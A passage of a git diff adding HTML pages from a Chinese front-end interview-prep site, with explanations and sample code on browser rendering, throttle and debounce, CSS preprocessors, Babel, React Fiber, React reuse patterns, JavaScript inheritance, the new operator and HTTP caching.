浏览器重新渲染时,可能会从中间的任一步骤开始,直至渲染完成。因此,尽可能的缩短渲染路径,就可以获得更好的渲染性能。 +当浏览器重新绘制一帧的时候,一般需要经过布局、绘图和合成三个主要阶段。这三个阶段中,计算布局和绘图比较费时间,而合成需要的时间相对少一些。

以动画为例,如果使用 JS 的定时器来控制动画,可能就需要较多的修改布局和绘图的操作,一般有以下两种方法进行优化:

  1. 使用合适的网页分层技术:如使用多层 canvas,将动画背景,运动主体,次要物体分层,这样每一帧需要变化的就只是一个或部分合成层,而不是整个页面。
  2. 使用 CSS Transforms 和 Animations:它可以让浏览器仅仅使用合成器来合成所有的层就可以达到动画效果,而不需要重新计算布局,重新绘制图形。CSS Triggers 中仅触发 Composite 的属性就是最优的选择。

2.2 优化影响渲染的资源#

在浏览器解析 HTML 的过程中,CSS 和 JS 都有可能对页面的渲染造成影响。优化方法包括以下几点:

  1. 关键 CSS 资源放在头部加载。
  2. JS 通常放在页面底部。
  3. 为 JS 添加 async 和 defer 属性。
  4. body 中尽量不要出现 CSS 和 JS。
  5. 为 img 指定宽高,避免图像加载完成后触发重排。
  6. 避免使用 table, iframe 等慢元素。原因是 table 会等到它的 dom 树全部生成后再一次性插入页面中;iframe 内资源的下载过程会阻塞父页面静态资源的下载及 css, dom 树的解析。

script element

图片来源 The Script Element

参考资料#

  1. 浏览器的工作原理:新式网络浏览器幕后揭秘
  2. 渲染页面:浏览器的工作原理
  3. Constructing the Object Model
  4. Inside a super fast CSS engine
  5. Render-tree Construction, Layout, and Paint
  6. Inside look at modern web browser(part 3)
  7. Inside look at modern web browser(part 4)
  8. DOM
  9. CSS
  10. Layout
  11. Paint
  12. how cc works
  13. Life of a Pixel
Loading script...
+ + + + \ No newline at end of file diff --git a/book2/coding-throttle-debounce/index.html b/book2/coding-throttle-debounce/index.html new file mode 100644 index 0000000..216b5a5 --- /dev/null +++ b/book2/coding-throttle-debounce/index.html @@ -0,0 +1,24 @@ + + + + + + +实现节流去抖函数 | HZFE - 剑指前端 Offer + + + + +
+

实现节流去抖函数

节流#

1. 基本概念#

throttle(func, wait)

每 wait 毫秒内最多只调用一次 func。

2. 应用场景#

  • 搜索框输入时的实时联想。
  • 监听 scroll 事件计算位置信息。

3. 流程图#

节流

4. 编写代码#

function throttle(func, wait) {  let lastTime = 0;  let timer = null;
+  return function () {    if (timer) {      clearTimeout(timer);      timer = null;    }
+    let self = this;    let args = arguments;    let nowTime = +new Date();
+    const remainWaitTime = wait - (nowTime - lastTime);
+    if (remainWaitTime <= 0) {      lastTime = nowTime;      func.apply(self, args);    } else {      timer = setTimeout(function () {        lastTime = +new Date();        func.apply(self, args);        timer = null;      }, remainWaitTime);    }  };}

去抖#

1. 基本概念#

debounce(func, wait)

自最近一次触发后延迟 wait 毫秒调用 func。

2. 应用场景#

  • 注册时输入完用户名后检测是否被占用。
  • 监听 resize 事件计算尺寸信息。

3. 流程图#

防抖

4. 编写代码#

function debounce(func, wait) {  let timer = null;
+  return function () {    if (timer) {      clearTimeout(timer);      timer = null;    }
+    let self = this;    let args = arguments;
+    timer = setTimeout(function () {      func.apply(self, args);      timer = null;    }, wait);  };}
Loading script...
+ + + + \ No newline at end of file diff --git a/book2/css-preprocessor/index.html b/book2/css-preprocessor/index.html new file mode 100644 index 0000000..54a3fa8 --- /dev/null +++ b/book2/css-preprocessor/index.html @@ -0,0 +1,20 @@ + + + + + + +谈谈 CSS 预处理器 | HZFE - 剑指前端 Offer + + + + +
+

谈谈 CSS 预处理器

相关问题#

  • CSS 主要有哪些预处理器
  • 为什么需要用预处理器
  • 各预处理器优缺点

回答关键点#

Sass Less Stylus PostCSS 工程化 提升效率

CSS 本身不属于可编程语言,当前端项目逐渐庞大之后 CSS 的维护也愈加困难。CSS 预处理器所做的本质上是为 CSS 增加一些可编程的特性,通过变量嵌套简单的程序逻辑计算函数等特性,通过工程化的手段让 CSS 更易维护,提升开发效率。

目前主流的 CSS 预处理器主要有 Sass、Less、Stylus、PostCSS。

知识点深入#

1. PostCSS[1]#

PostCSS 是目前最为流行的 CSS 预/后处理器。PostCSS 本体功能比较单一,它提供一种用 JavaScript 来处理 CSS 的方式。PostCSS 会把 CSS 解析成 AST(Abstract Syntax Tree 抽象语法树),之后由其他插件进行不同的处理。

功能#

PostCSS 本体功能比较单一,大多数的 CSS 处理功能都由插件提供,下面是一些常用的插件:

优点#

  • 插件系统完善,扩展性强。
  • 配合插件功能齐全。
  • 生态优秀。

缺点#

  • 配置相对复杂。

2. Sass[2]#

Sass 在完全兼容 CSS 语法的前提下,给 CSS 提供了变量、嵌套、混合、操作符、自定义函数等可编程能力。

功能#

Sass 常用的有几种功能:

  • 变量:变量中可以存储颜色、字体或任何 CSS 值。
  • 嵌套:可嵌套 CSS 选择器,提供清晰的层次结构。
  • 混合:可以定义&重用代码块。
  • 扩展/集成:可以在一个选择器内继承另一个选择器。
  • 操作符:可以在 CSS 中使用操作符进行计算。
  • 条件/循环语句:可以循环/条件生成 CSS。
  • 自定义函数:可以自定义复杂操作的函数。

优点#

  • 使用广泛。
  • 功能支持完善。
  • 可编程能力强。

缺点#

  • CSS 的复杂度不可控。
  • node-sass 国内安装不易(非 Sass 本身的缺点,dart-sass 可代替)。

3. Less[3]#

Less 和 Sass 类似,完全兼容 CSS 语法,并给 CSS 提供了变量、嵌套、混合、运算等可编程能力。Less 通过 JavaScript 实现,可在浏览器端直接使用。

功能#

Less 常用的有几种功能:

  • 变量:变量中可以存储颜色、字体或任何 CSS 值。
  • 嵌套:可嵌套 CSS 选择器,提供清晰的层次结构。
  • 混合:可以定义&重用的代码块。
  • 扩展/集成:可以在一个选择器内继承另一个选择器。
  • 运算:可以在 CSS 中进行计算。
  • 条件/循环语句:可以循环/条件生成 CSS。

优点#

  • 使用广泛。
  • 可以在浏览器中运行,容易实现主题定制功能。

缺点#

  • 不支持自定义函数(可通过 mixins 实现简单逻辑)。
  • 编程能力相对较弱。

4. Stylus[4]#

Stylus 基础功能和 Sass / Less 十分类似。Stylus 的特点是冒号、分号、逗号和括号都是可选项,所以可以写出非常简洁的 CSS,示例如下:

body  background-color: #000
+body::after  content: 'HZFEStudio'  color: #fff  font-size: 20px

扩展阅读#

1. CSS Modules[5]#

CSS Modules 和前文介绍的预处理器不同,不是可编程化的 CSS,而仅是给 CSS 文件加入了作用域和模块依赖,主要是为了解决 CSS 全局污染的痛点以及为了解决全局污染而嵌套过深的问题。使用示例如下:

/* style.css */.hzfeTitle {  color: #666;  font-size: 20px;}
import style from "./style.css";
+document.body.innerHTML = `<h1 class="${style.hzfeTitle}">HZFEStudio</h1>`;

2. CSS-in-JS#

如名字所见,CSS-in-JS 是一种在 JavaScript 里写 CSS 的方式。利用 JS 的优势可实现非常灵活的可扩展的样式。CSS-in-JS 有很多实现,目前比较流行的是 Styled-components

通过 Styled-components 写 CSS 的示例如下:

import React from "react";import styled from "styled-components";
+function hzfe() {  const Title = styled.h1`    font-size: 1.5em;    text-align: center;    color: #666;  `;  return <Title>HZFEStudio</Title>;}

3. Tailwind 和 Utility-first CSS#

近几年随着 Tailwind 的流行,功能类优先(Utility-first CSS)的理念也再次流行起来。这里简单介绍一下 Tailwind CSS。

3.1 Tailwind[6]#

Tailwind CSS 是一个功能类优先的 CSS 框架,通过组合不同的类名实现页面设计。Tailwind 主要优势如下:

  1. 不用考虑 class 的命名。
  2. CSS 文件大小增长可控,通过 purge 可生成非常小的 CSS 文件。
  3. 统一设计系统下的样式与布局。
  4. IDE 集成优秀。

参考资料#

  1. PostCSS - A tool for transforming CSS with JavaScript
  2. Sass - CSS with superpowers
  3. Less - It's CSS, with just a little more
  4. Stylus - Foresight has never been so crucial
  5. CSS Modules
  6. Tailwind CSS
Loading script...
+ + + + \ No newline at end of file diff --git a/book2/engineer-babel/index.html b/book2/engineer-babel/index.html new file mode 100644 index 0000000..033cadd --- /dev/null +++ b/book2/engineer-babel/index.html @@ -0,0 +1,20 @@ + + + + + + +Babel 的原理 | HZFE - 剑指前端 Offer + + + + +
+

Babel 的原理

相关问题#

  • Babel 是什么
  • Babel 有什么用
  • 压缩代码如何实现

回答关键点#

JS 编译器 AST 插件系统

Babel 是 JavaScript 编译器:他能让开发者在开发过程中,直接使用各类方言(如 TS、Flow、JSX)或新的语法特性,而不需要考虑运行环境,因为 Babel 可以做到按需转换为低版本支持的代码;Babel 内部原理是将 JS 代码转换为 AST,对 AST 应用各种插件进行处理,最终输出编译后的 JS 代码。

知识点深入#

1. AST 抽象语法树#

简单定义:以树的形式来表现编程语言的语法结构。

image

利用在线 playground 调试,可以对 AST 有个直观感受:生成的树有多个节点,节点有不同的类型,不同类型节点有不同的属性。

const custom = "HZFE";

image

AST 是源代码的高效表示,能便捷的表示大多数编程语言的结构。适用于做代码分析或转换等需求。之所以用树来进行分析或转换,是因为树能使得程序中的每一节点恰好被访问一次(前序或后续遍历)。

常见使用场景:代码压缩混淆功能可以借助 AST 来实现:分析 AST,基于各种规则进行优化(如 IF 语句优化;移除不可访问代码;移除 debugger 等),从而生成更小的 AST 树,最终输出精简的代码结果。

2. Babel 编译流程#

三大步骤#

image

  1. 解析阶段:Babel 默认使用 @babel/parser 将代码转换为 AST。解析一般分为两个阶段:词法分析和语法分析。

    • 词法分析:对输入的字符序列做标记化(tokenization)操作。
    • 语法分析:处理标记与标记之间的关系,最终形成一颗完整的 AST 结构。
  2. 转换阶段:Babel 使用 @babel/traverse 提供的方法对 AST 进行深度优先遍历,调用插件对关注节点的处理函数,按需对 AST 节点进行增删改操作。

  3. 生成阶段:Babel 默认使用 @babel/generator 将上一阶段处理后的 AST 转换为代码字符串。

3. Babel 插件系统#

Babel 的核心模块 @babel/core,@babel/parser,@babel/traverse 和 @babel/generator 提供了完整的编译流程。而具体的转换逻辑需要插件来完成。

在使用 Babel 时,我们可通过配置文件指定 plugin 和 preset。而 preset 可以是 plugin 和 preset 以及其他配置的集合。Babel 会递归读取 preset,最终获取一个大的 plugins 数组,用于后续使用。

常见 presets#

  • @babel/preset-env
  • @babel/preset-typescript
  • @babel/preset-react
  • @babel/preset-flow

最常见的 @babel/preset-env 预设,包含了一组最新浏览器已支持的 ES 语法特性,并且可以通过配置目标运行环境范围,自动按需引入插件。

编写 Babel 插件#

Babel 插件的写法是借助访问者模式(Visitor Pattern)对关注的节点定义处理函数。参考一个简单 Babel 插件例子:

module.exports = function () {  return {    pre() {},    // 在 visitor 下挂载各种感兴趣的节点类型的监听方法    visitor: {      /**       * 对 Identify 类型的节点进行处理       * @param {NodePath} path       */      Identifier(path) {        path.node.name = path.node.name.toUpperCase();      },    },    post() {},  };};

使用该 Babel 插件的效果如下:

// input
+// index.jsfunction hzfe() {}
+// .babelrc{  "plugins": ["babel-plugin-yourpluginname"]}
// outputfunction HZFE() {}

深入 Babel 转换阶段#

在转换阶段,Babel 的相关方法会获得一个插件数组变量,用于后续的操作。插件结构可参考以下接口。

interface Plugin {  key: string | undefined | null;  post: Function | void;  pre: Function | void;  visitor: Object;  parserOverride: Function | void;  generatorOverride: Function | void;  // ...}

转换阶段,Babel 会按以下顺序执行。详细逻辑可查看源码

  1. 执行所有插件的 pre 方法。
  2. 按需执行 visitor 中的方法。
  3. 执行所有插件的 post 方法。

一般来说,写 Babel 插件主要使用到的是 visitor 对象,这个 visitor 对象中会书写对于关注的 AST 节点的处理逻辑。而上面执行顺序中的第二步所指的 visitor 对象,是整合自各插件的 visitor,最终形成一个大的 visitor 对象,大致的数据结构可参考以下接口:

// 书写插件时的 visitor 结构interface VisitorInPlugin {  [ASTNodeTypeName: string]:    | Function    | {        enter?: Function;        exit?: Function;      };}
+// babel 最终整合的 visitor 结构interface VisitorInTransform {  [ASTNodeTypeName: string]: {    // 不同插件对相同节点的处理会合并为数组    enter?: Function[];    exit?: Function[];  };}

在对 AST 进行深度优先遍历的过程中,会创建 TraversalContext 对象来把控对 NodePath 节点的访问,访问时调用对节点所定义的处理方法,从而实现按需执行 visitor 中的方法。详细实现请看 babel-traverse 中的源码。

参考资料#

  1. AST
  2. Babel-handbook
  3. estree
  4. 访问者模式
Loading script...
+ + + + \ No newline at end of file diff --git a/book2/frame-react-fiber/index.html b/book2/frame-react-fiber/index.html new file mode 100644 index 0000000..c98d3fa --- /dev/null +++ b/book2/frame-react-fiber/index.html @@ -0,0 +1,21 @@ + + + + + + +React Fiber 的作用和原理 | HZFE - 剑指前端 Offer + + + + +
+

React Fiber 的作用和原理

相关问题#

  • Fiber 是什么
  • 谈谈你对 Fiber 的了解
  • Fiber 对 React 的使用带来了什么影响

回答关键点#

调度 深度优先遍历

Fiber 是 React 16 中采用的新协调(reconciliation)引擎,主要目标是支持虚拟 DOM 的渐进式渲染。

Fiber 将原有的 Stack Reconciler 替换为 Fiber Reconciler,提高了复杂应用的可响应性和性能。主要通过以下方式达成目标:

  • 对大型复杂任务的分片。
  • 对任务划分优先级,优先调度高优先级的任务。
  • 调度过程中,可以对任务进行挂起、恢复、终止等操作。

Fiber 对现有代码的影响: +由于 Fiber 采用了全新的调度方式,任务的更新过程可能会被打断,这意味着在组件更新过程中,render 及其之前的生命周期函数可能会调用多次。因此,在下列生命周期函数中不应出现副作用。

  • shouldComponentUpdate
  • React 16 中已经声明废弃的钩子
    • componentWillMount(UNSAFE_componentWillMount)
    • componentWillReceiveProps(UNSAFE_componentWillReceiveProps)
    • componentWillUpdate(UNSAFE_componentWillUpdate)

知识点深入#

1. React 是如何工作的#

import React from "react";import ReactDOM from "react-dom";
+function App() {  return <div>Hello, HZFE.</div>;}
+ReactDOM.render(<App />, document.getElementById("root"));

上面代码中我们引入的两个包,分别代表了 React 的 core API 层和渲染层,在这背后还有一层被称为协调器(Reconcilers)的层次。(协调器在react-reconciler中实现)

一个 React 组件的渲染主要经历两个阶段:

  • 调度阶段(Reconciler):用新的数据生成一棵新的树,然后通过 Diff 算法,遍历旧的树,快速找出需要更新的元素,放到更新队列中去,得到新的更新队列。
  • 渲染阶段(Renderer):遍历更新队列,通过调用宿主环境的 API,实际更新渲染对应的元素。宿主环境如 DOM,Native 等。

对于调度阶段,新老架构中有不同的处理方式:

React 16 之前使用的是 Stack Reconciler(栈协调器),使用递归的方式创建虚拟 DOM,递归的过程是不能中断的。如果组件树的层级很深,递归更新组件的时间超过 16ms,用户交互就会感觉到卡顿。

image

图片来源 react conf 17

React 16 及以后使用的是 Fiber Reconciler(纤维协调器),将递归中无法中断的更新重构为迭代中的异步可中断更新过程,这样就能够更好的控制组件的渲染。

image

图片来源 react conf 17

2. Fiber Reconciler 如何工作#

由于浏览器中 JS 的运行环境是单线程的,因此,一旦有任务耗时过长,就会阻塞其他任务的执行,导致浏览器不能及时响应用户的操作,从而使用户体验下降。为解决这个问题,React 推出了 Fiber Reconciler 架构。

在 Fiber 中,会把一个耗时很长的任务分成很多小的任务片,每一个任务片的运行时间很短。虽然总的任务执行时间依然很长,但是在每个任务小片执行完之后,都会给其他任务一个执行机会。 +这样,唯一的线程就不会被独占,其他任务也能够得到执行机会。

为了实现渐进渲染的目的,Fiber 架构中引入了新的数据结构:Fiber Node,Fiber Node Tree 根据 React Element Tree 生成,并用来驱动真实 DOM 的渲染。

Fiber 节点的大致结构:

{    tag: TypeOfWork, // 标识 fiber 类型    type: 'div', // 和 fiber 相关的组件类型    return: Fiber | null, // 父节点    child: Fiber | null, // 子节点    sibling: Fiber | null, // 同级节点    alternate: Fiber | null, // diff 的变化记录在这个节点上    ...}

Fiber 树结构如下:

Fiber Tree

图片来源 react conf 17

Fiber 的主要工作流程:

  1. ReactDOM.render() 引导 React 启动或调用 setState() 的时候开始创建或更新 Fiber 树。
  2. 从根节点开始遍历 Fiber Node Tree, 并且构建 WokeInProgress Tree(reconciliation 阶段)。
    • 本阶段可以暂停、终止、和重启,会导致 react 相关生命周期重复执行。
    • React 会生成两棵树,一棵是代表当前状态的 current tree,一棵是待更新的 workInProgress tree。
    • 遍历 current tree,重用或更新 Fiber Node 到 workInProgress tree,workInProgress tree 完成后会替换 current tree。
    • 每更新一个节点,同时生成该节点对应的 Effect List。
    • 为每个节点创建更新任务。
  3. 将创建的更新任务加入任务队列,等待调度。
    • 调度由 scheduler 模块完成,其核心职责是执行回调。
    • scheduler 模块实现了跨平台兼容的 requestIdleCallback。
    • 每处理完一个 Fiber Node 的更新,可以中断、挂起,或恢复。
  4. 根据 Effect List 更新 DOM (commit 阶段)。
    • React 会遍历 Effect List 将所有变更一次性更新到 DOM 上。
    • 这一阶段的工作会导致用户可见的变化。因此该过程不可中断,必须一直执行直到更新完成。

React 调度流程图:

image

参考资料#

  1. React Fiber Architecture
  2. React Conf 2017
  3. Inside Fiber
Loading script...
+ + + + \ No newline at end of file diff --git a/book2/frame-react-hoc-hooks/index.html b/book2/frame-react-hoc-hooks/index.html new file mode 100644 index 0000000..7f0114d --- /dev/null +++ b/book2/frame-react-hoc-hooks/index.html @@ -0,0 +1,20 @@ + + + + + + +HOC vs Render Props vs Hooks | HZFE - 剑指前端 Offer + + + + +
+

HOC vs Render Props vs Hooks

相关问题#

  • 什么是 HOC / Render Props / Hooks
  • 为什么需要 HOC / Render Props / Hooks
  • 如何提高代码复用性
  • Hooks 的实现原理
  • Hooks 相比其他方案有什么优势

回答关键点#

复用性

HOC / Render Props / Hooks 三种写法都可以提高代码的复用性,但实现方法不同:HOC 是对传入的组件进行增强后,返回新的组件给开发者;Render Props 是指将一个返回 React 组件的函数,作为 prop 传给另一个 React 组件的共享代码的技术;Hooks 是 React 提供的一组 API,使开发者可以在不编写 class 的情况下使用 state 和其他 React 特性。

知识点深入#

1. HOC (Higher Order Component,即高阶组件)#

HOC 是 React 中复用代码的编程模式。具体来说,高阶组件是一个纯函数,它接收一个组件并返回一个新的组件。常见例子:React Redux 的 connect,将 Redux Store 和 React 组件联系起来。

// react-redux connect 例子const ConnectedMyComponent = connect(mapState)(MyComponent);
// 实现一个简单的 HOC 例子function logProps(WrappedComponent) {  return class extends React.Component {    componentDidUpdate(prevProps) {      console.log("Current props: ", this.props);      console.log("Previous props: ", prevProps);    }
+    render() {      return <WrappedComponent {...this.props} />;    }  };}

2. Render Props#

Render Props 是 React 中复用代码的编程模式。主要解决组件逻辑相同而渲染规则不同的复用问题。常见例子:React Router 中,自定义 render 函数,按需使用 routeProps 来渲染业务组件。

ReactDOM.render(  <Router>    <Route      path="/home"      render={(routeProps) => (        <div>Customize HZFE's {routeProps.location.pathname}</div>      )}    />  </Router>,  node);

3. React Hooks#

React Hooks 是 React 16.8 引入的一组 API。开发者可以在不使用 class 写法的情况下,借助 Hooks 在纯函数组件中使用状态和其他 React 功能。

function Example() {  const [count, setCount] = useState(0);
+  return (    <div>      <p>You clicked {count} times</p>      <button onClick={() => setCount(count + 1)}>Click me</button>    </div>  );}

4. HOC vs Render Props vs Hooks#

痛点#

在实际业务快速迭代过程中,组件常出现大量重复性工作,少量个性化定制的需求,如果不遵循 DRY(Don't Repeat Yourself)的规则,会造成项目臃肿和难以维护的问题。但在许多情况下,无法对含有状态逻辑的组件进一步拆分。因此在没有 React Hooks 前,存在使用 HOC / Render Props 进行重构的方案。

方案优劣#

为辅助理解,可参考以下图片。图中所示为下拉列表功能的三种不同实现,相比于使用一个 Class 来书写下拉列表的所有功能,这三种方案都对组件进行了功能拆解,提高了代码的复用性。 +(代码来源

image

  • 复用性

    HOC、Render Props、Hooks 都有提高代码复用性的能力,但根据其设计模式上的差别,适用范围也会有所差异:HOC 基于单一功能原则,对传入组件进行增强;Render Props 复用数据源,按需渲染 UI;Hooks 对于不同场景的复用都有较好的普适性。

  • 可读性 / 易用性

    HOC 可读性差,易用性差。

    HOC 写法看似简洁,但开发者无法通过阅读 HOC 的调用辨别出方法的作用:看不到接收和返回的结构,增加调试和修复问题的成本;进行多个 HOC 组合使用时,不能确定使用顺序且有命名空间冲突风险,需要了解每个 HOC 的具体实现,难以维护。不建议过度使用 HOC,但比较适合不需要个性化开发定制时使用:常见于第三方库提供 HOC 类型的 API 给开发者进行功能增强。

    Render Props 可读性较好,易用性强。

    代码相对冗长,但能清晰看到组件接收的 props 以及传递的功能等,可以对 props 属性重命名,不会有命名冲突。但难以在 render 函数外使用数据源,且容易形成嵌套地狱。

    Hooks 可读性强,易用性较好。

    使用 Hooks 时,能清晰看到组件接收的 props 以及传递的功能等,可以对 props 属性重命名,不会有命名冲突,不存在嵌套地狱,且没有数据源获取及使用范围的限制。但 Hooks 编程应遵循函数式编程的实践,否则 Hooks 所需的依赖数组的处理会造成较大的心智负担。

参考资料#

  1. Introducing Hooks
  2. Comparison: HOCs vs Render Props vs Hooks
Loading script...
+ + + + \ No newline at end of file diff --git a/book2/js-inherite/index.html b/book2/js-inherite/index.html new file mode 100644 index 0000000..05c8893 --- /dev/null +++ b/book2/js-inherite/index.html @@ -0,0 +1,42 @@ + + + + + + +ES5、ES6 如何实现继承 | HZFE - 剑指前端 Offer + + + + +
+

ES5、ES6 如何实现继承

相关问题#

  • 关于 ES5 和 ES6 的继承问题
  • 原型链概念

回答关键点#

原型链继承 构造函数继承 ES6 类继承

继承是指子类型具备父类型的属性和行为,使代码得以复用,做到设计上的分离。JavaScript 中的继承主要通过原型链和构造函数来实现。常见的继承方法有:ES6 中 class 的继承、原型链继承、寄生组合式继承等。

知识点深入#

1. 原型链#

原型链的本质是拓展原型搜索机制。每个实例对象都有一个私有属性 __proto__。该属性指向它的构造函数的原型对象 prototype。该原型对象的 __proto__ 也可以指向其他构造函数的 prototype。依次层层向上,直到一个对象的 __proto__ 指向 null。根据定义,null 没有原型,并作为这个原型链中的最后一个环节。

当试图访问一个对象的属性时,它不仅仅在该对象上搜寻,还会搜寻该对象的原型,以及该对象的原型的原型,依次层层向上搜索,直到找到一个名字匹配的属性或直到这个链表结束(Object.prototype.__proto__ === null)。

2. 原型链继承#

原型链继承的思想:一个引用类型继承另一个引用类型的属性和方法

function SuperType() {  this.b = [1, 2, 3];}
+function SubType() {}
+SubType.prototype = new SuperType();SubType.prototype.constructor = SubType;
+var sub1 = new SubType();var sub2 = new SubType();
+// 这里对引用类型的数据进行操作sub1.b.push(4);
+console.log(sub1.b); // [1,2,3,4]console.log(sub2.b); // [1,2,3,4]console.log(sub1 instanceof SuperType); // true

优点:

  1. 父类新增原型方法/原型属性,子类都能访问到。
  2. 简单、易于实现。

缺点:

  1. 无法实现多继承。
  2. 由于原型中的引用值被共享,导致实例上的修改会直接影响到原型。
  3. 创建子类实例时,无法向父类构造函数传参。

3. 构造函数继承#

构造函数继承的思想:子类型构造函数中调用父类的构造函数,使所有需要继承的属性都定义在实例对象上

function SuperType(name) {  this.name = name;  this.b = [1, 2, 3, 4];}
+SuperType.prototype.say = function () {  console.log("HZFE");};
+function SubType(name) {  SuperType.call(this, name);}
+var sub1 = new SubType();var sub2 = new SubType();
+// 传递参数var sub3 = new SubType("Hzfe");
+sub1.say(); // 使用构造函数继承并没有访问到原型链,say 方法不能调用
+console.log(sub3.name); // Hzfe
+sub1.b.push(4);
+// 解决了原型链继承中子类实例共享父类引用属性的问题console.log(sub1.b); // [1,2,3,4]console.log(sub2.b); // [1,2,3]console.log(sub1 instanceof SuperType); // false

优点:

  1. 解决了原型链继承中子类实例共享父类引用属性的问题。
  2. 可以在子类型构造函数中向父类构造函数传递参数。
  3. 可以实现多继承(call 多个父类对象)。

缺点:

  1. 实例并不是父类的实例,只是子类的实例。
  2. 只能继承父类的实例属性和方法,不能继承原型属性和方法。
  3. 无法实现函数复用,每个子类都有父类实例函数的副本,影响性能。

4. 组合继承(伪经典继承)#

组合继承的思想:使用原型链实现对原型属性和方法的继承,借用构造函数实现对实例属性的继承

function SuperType(name) {  this.name = name;  this.a = "HZFE";  this.b = [1, 2, 3, 4];}
+SuperType.prototype.say = function () {  console.log("HZFE");};
+function SubType(name) {  SuperType.call(this, name); // 第二次调用 SuperType}
+SubType.prototype = new SuperType(); // 第一次调用 SuperTypeSubType.prototype.constructor = SubType;

优点:

  1. 可以继承实例属性/方法,也可以继承原型属性/方法。
  2. 不存在引用属性共享问题。
  3. 可传参
  4. 函数可复用

缺点:

  1. 调用了两次父类构造函数(耗内存),生成了两份实例。

5. 寄生组合式继承#

寄生组合式继承的思想:借用构造函数来继承属性,使用混合式原型链继承方法

// 在函数内部,第一步创建父类原型的一个副本,第二部是为创建的副本添加 constructor 属性,// 从而弥补因重写而失去的默认的 constructor 属性。最后一步,将新创建的对象(即副本)赋值给予类型的原型。function inheritPrototype(subType, superType) {  var prototype = Object.create(superType.prototype); // 创建对象  prototype.constructor = subType; // 增强对象  subType.prototype = prototype; // 指定对象}
+function SuperType(name) {  this.name = name;}
+SuperType.prototype.sayName = function () {  console.log(this.name);};
+function SubType(name, num) {  SuperType.call(this, name);  this.num = num;}
+inheritPrototype(SubType, SuperType);
+SubType.prototype.sayNum = function () {  console.log(this.num);};

优点:

  1. 只调用了一次 SuperType 构造函数,避免了在 SubType.prototype 上创建不必要的属性。
  2. 能够正常使用 instanceof 和 isPrototypeOf()。

缺点:

  1. 实现较为复杂

6. ES6 中 class 的继承#

ES6 中引入了 class 关键字, class 可以通过 extends 关键字实现继承,还可以通过 static 关键字定义类的静态方法,这比 ES5 的通过修改原型链实现继承,要清晰和方便很多。 +需要注意的是:class 关键字只是原型的语法糖, JavaScript 继承仍然是基于原型实现的。

class Pet {  constructor(name, age) {    this.name = name;    this.age = age;  }
+  showName() {    console.log("调用父类的方法");    console.log(this.name, this.age);  }}
+// 定义一个子类class Dog extends Pet {  constructor(name, age, color) {    super(name, age); // 通过 super 调用父类的构造方法    this.color = color;  }
+  showName() {    console.log("调用子类的方法");    console.log(this.name, this.age, this.color);  }}

优点:

  1. 清晰方便

缺点:

  1. 不是所有的浏览器都支持 class。

参考资料#

  1. JS 实现继承的几种方式
  2. 阮一峰 ES6 入门之 class 的继承
  3. 《JavaScript 高级程序设计》
  4. 《你不知道的 JavaScript》
Loading script...
+ + + + \ No newline at end of file diff --git a/book2/js-new/index.html b/book2/js-new/index.html new file mode 100644 index 0000000..a025275 --- /dev/null +++ b/book2/js-new/index.html @@ -0,0 +1,19 @@ + + + + + + +New 操作符的原理 | HZFE - 剑指前端 Offer + + + + +
+

New 操作符的原理

相关问题#

  • new 操作符做了什么
  • new 操作符的模拟实现

回答关键点#

构造函数 对象实例

new 操作符通过执行自定义构造函数或内置对象构造函数,生成对应的对象实例。

知识点深入#

1. new 操作符做了什么#

  1. 在内存中创建一个新对象。
  2. 将新对象内部的 __proto__ 赋值为构造函数的 prototype 属性。
  3. 将构造函数内部的 this 被赋值为新对象(即 this 指向新对象)。
  4. 执行构造函数内部的代码(给新对象添加属性)。
  5. 如果构造函数返回非空对象,则返回该对象。否则返回 this。

2. new 操作符的模拟实现#

function fakeNew() {  // 创建新对象  var obj = Object.create(null);  var Constructor = [].shift.call(arguments);  // 将对象的 __proto__ 赋值为构造函数的 prototype 属性  obj.__proto__ = Constructor.prototype;  // 将构造函数内部的 this 赋值为新对象  var ret = Constructor.apply(obj, arguments);  // 返回新对象  return typeof ret === "object" && ret !== null ? ret : obj;}
+function Group(name, member) {  this.name = name;  this.member = member;}
+var group = fakeNew(Group, "hzfe", 17);

参考资料#

  1. new 操作符 - MDN
  2. The new Operator
Loading script...
+ + + + \ No newline at end of file diff --git a/book2/network-http-cache/index.html b/book2/network-http-cache/index.html new file mode 100644 index 0000000..cb19406 --- /dev/null +++ b/book2/network-http-cache/index.html @@ -0,0 +1,17 @@ + + + + + + +HTTP 缓存机制 | HZFE - 剑指前端 Offer + + + + +
+

HTTP 缓存机制

相关问题#

  • 了解浏览器的缓存机制吗
  • 谈谈 HTTP 缓存
  • 为什么要有缓存
  • 缓存的优点是什么

回答关键点#

强缓存 协商缓存

HTTP 缓存主要分为强缓存协商缓存

强缓存可以通过 Expires / Cache-Control 控制,命中强缓存时不会发起网络请求,资源直接从本地获取,浏览器显示状态码 200 from cache。

协商缓存可以通过 Last-Modified / If-Modified-Since 和 Etag / If-None-Match 控制,开启协商缓存时向服务器发送的请求会带上缓存标识,若命中协商缓存服务器返回 304 Not Modified 表示浏览器可以使用本地缓存文件,否则返回 200 OK 正常返回数据。

知识点深入#

1. 流程图#

image

2.强缓存#

2.1 Expires#

  • HTTP/1.0 产物。
  • 优先级低于 Cache-control: max-age。
  • 缺点:使用本地时间判断是否过期,而本地时间是可修改的且并非一定准确的。

Expires 是由服务端返回的资源过期时间(GTM 日期格式/时间戳),若用户本地时间在过期时间前,则不发送请求直接从本地获取资源。

2.2 Cache-Control#

  • HTTP/1.1 产物。
  • 优先级高于 Expires。
  • 正确区分 no-cache / no-store 的作用。

Cache-Control 是用于页面缓存的通用消息头字段,可以通过指定指令来实现缓存机制。

常用的字段有:

  • max-age 设置缓存存储的最大时长,单位秒。
  • s-max-age 与 max-age 用法一致,不过仅适用于代理服务器。
  • public 表示响应可被任何对象缓存。
  • private 表示响应只可被私有用户缓存,不能被代理服务器缓存。
  • no-cache 强制客户端向服务器发起请求(禁用强缓存,可用协商缓存)。
  • no-store 禁止一切缓存,包含协商缓存也不可用。
  • must-revalidate 一旦资源过期,在成功向原始服务器验证之前,缓存不能用该资源响应后续请求。
  • immutable 表示响应正文不会随时间改变(只要资源不过期就不发送请求)。

值得注意的是,虽然以上常用字段都是响应头的字段,但是 Cache-Control 同时也支持请求头,例如 Cache-Control: max-stale=<seconds> 表明客户端愿意接收一个已经过期但不能超出<seconds>秒的资源。

2.3 拓展知识(冷门考点)#

  • HTTP/1.0 Pragma
    • 在 HTTP/1.0 时期用于禁用浏览器缓存 Pragma: no-cache。
  • 缓存位置
    • 从 Service Worker 中读取缓存(只支持 HTTPS)。
    • 从内存读取缓存时 network 显示 memory cache。
    • 从硬盘读取缓存时 network 显示 disk cache。
